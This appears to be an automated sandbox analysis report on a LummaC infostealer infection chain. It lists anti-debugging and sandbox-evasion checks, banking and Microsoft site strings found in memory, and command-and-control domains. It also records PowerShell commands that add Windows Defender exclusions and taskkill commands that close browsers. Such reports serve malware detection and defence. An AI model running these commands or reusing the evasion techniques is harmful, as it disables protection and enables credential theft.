Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 594340	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 594209	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 594070	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 593928	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 593737	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 593615	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 593495	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 593375	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 593274	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 593158	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 593036	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 592908	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 592792	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 592674	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 592540	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 592387	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 592275	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Thread delayed: delay time: 922337203685477

Source: skotes.exe, skotes.exe, 00000006.00000002.2330950180.0000000000990000.00000040.00000001.01000000.0000000C.sdmp, f324957d91.exe, 00000010.00000002.2890206017.0000000000E74000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: X42E6LZ0BD4W2FEYDTB0TDC.exe, 00000004.00000003.2263226985.00000000019C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: f324957d91.exe, 00000010.00000002.2891046644.0000000001622000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3136507783.0000021D4C2CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: f324957d91.exe, 00000010.00000002.2891046644.00000000015F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: f324957d91.exe, 00000010.00000002.2891046644.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarex)2
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: d816f1d41e.exe, 00000017.00000003.3022243224.0000000005B7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: f324957d91.exe, 00000010.00000002.2891046644.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: F7UO7T49UKQNSZTWA8QFF.exe, 00000003.00000002.2369191734.000000000037E000.00000040.00000001.01000000.00000006.sdmp, X42E6LZ0BD4W2FEYDTB0TDC.exe, 00000004.00000002.2289871028.0000000001060000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 00000005.00000002.2316758673.0000000000990000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 00000006.00000002.2330950180.0000000000990000.00000040.00000001.01000000.0000000C.sdmp, f324957d91.exe, 00000010.00000002.2890206017.0000000000E74000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: d816f1d41e.exe, 00000017.00000003.3021251827.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Thread information set: HideFromDebugger
Source: C:\Lipras\pdf.exe	Thread information set: HideFromDebugger
Source: C:\Lipras\pdf.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe

Code function: 3_2_00379B29 rdtsc

3_2_00379B29

Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe

Code function: 3_2_001FB7FA LdrInitializeThunk,

3_2_001FB7FA

Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: f324957d91.exe PID: 4408, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002490001\num.exe, type: DROPPED

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Lipras'; Add-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Lipras
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Lipras'; Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Lipras

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2045865552.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.2045865552.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.2045865552.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.2045865552.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.2045865552.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.2045865552.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.2045865552.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.2045865552.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe "C:\Users\user\AppData\Local\Temp\1002474001\Session.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe "C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe "C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe "C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002490001\num.exe "C:\Users\user\AppData\Local\Temp\1002490001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Lipras'; Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Process created: C:\Lipras\pdf.exe "C:\Lipras\pdf.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Lipras

Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: d40e036167.exe, 00000011.00000002.2959463989.0000000001052000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: f324957d91.exe, 00000010.00000002.2890206017.0000000000E74000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Program Manager
Source: F7UO7T49UKQNSZTWA8QFF.exe, 00000003.00000002.2369459688.00000000003C6000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: ]Program Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.2330950180.0000000000990000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002490001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002490001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
